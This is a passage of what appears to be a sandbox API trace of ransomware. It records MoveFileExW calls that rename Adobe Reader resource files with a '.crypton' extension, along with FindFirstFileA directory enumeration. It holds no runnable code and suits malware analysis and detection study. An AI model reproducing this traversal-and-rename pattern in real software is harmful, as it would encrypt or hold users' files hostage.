10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt.crypton"), dwFlags=0x2) returned 1 [0157.456] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt.crypton"), dwFlags=0x2) returned 1 [0157.473] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt.crypton"), dwFlags=0x2) returned 1 [0157.491] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt.crypton"), dwFlags=0x2) returned 1 [0157.510] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt.crypton"), dwFlags=0x2) returned 1 [0157.527] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt.crypton"), dwFlags=0x2) returned 1 [0157.551] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0157.569] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt.crypton"), dwFlags=0x2) returned 1 [0157.598] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0157.781] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt.crypton"), dwFlags=0x2) returned 1 [0157.800] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt.crypton"), dwFlags=0x2) returned 1 [0157.824] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt.crypton"), dwFlags=0x2) returned 1 [0157.843] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt.crypton"), dwFlags=0x2) returned 1 [0157.861] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt.crypton"), dwFlags=0x2) returned 1 [0157.878] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0157.895] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt.crypton"), dwFlags=0x2) returned 1 [0157.912] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt.crypton"), dwFlags=0x2) returned 1 [0157.931] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt.crypton"), dwFlags=0x2) returned 1 [0157.951] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt.crypton"), dwFlags=0x2) returned 1 [0157.970] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt.crypton"), dwFlags=0x2) returned 1 [0157.990] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt.crypton"), dwFlags=0x2) returned 1 [0158.009] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt.crypton"), dwFlags=0x2) returned 1 [0158.038] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt.crypton"), dwFlags=0x2) returned 1 [0158.060] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt.crypton"), dwFlags=0x2) returned 1 [0158.079] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt.crypton"), dwFlags=0x2) returned 1 [0158.096] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt.crypton"), dwFlags=0x2) returned 1 [0158.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt.crypton"), dwFlags=0x2) returned 1 [0158.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt.crypton"), dwFlags=0x2) returned 1 [0158.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt.crypton"), dwFlags=0x2) returned 1 [0158.170] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt.crypton"), dwFlags=0x2) returned 1 [0158.196] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt.crypton"), dwFlags=0x2) returned 1 [0158.212] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt.crypton"), dwFlags=0x2) returned 1 [0158.228] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt.crypton"), dwFlags=0x2) returned 1 [0158.244] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt.crypton"), dwFlags=0x2) returned 1 [0158.246] GetFileType (hFile=0x20c) returned 0x1 [0158.250] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbaea780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbaea780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0158.251] GetFileType (hFile=0x214) returned 0x1 [0158.255] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbaea780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbaea780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0158.261] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbb108e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbb108e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0158.265] GetFileType (hFile=0x1a4) returned 0x1 [0158.271] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbb108e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbb108e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0158.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\saslprepprofile_norm_bidi.spp.crypton"), dwFlags=0x2) returned 1 [0158.282] GetFileType (hFile=0x1a4) returned 0x1 [0158.286] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbb36a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbb36a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0158.287] GetFileType (hFile=0x20c) returned 0x1 [0158.291] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbb5cba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbb5cba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0158.293] GetFileType (hFile=0x214) returned 0x1 [0158.297] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbb5cba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbb5cba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0158.421] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat.crypton"), dwFlags=0x2) returned 1 [0158.423] GetFileType (hFile=0x214) returned 0x1 [0158.428] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbc8d6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbc8d6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0158.436] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbcb3800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdbcb3800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, 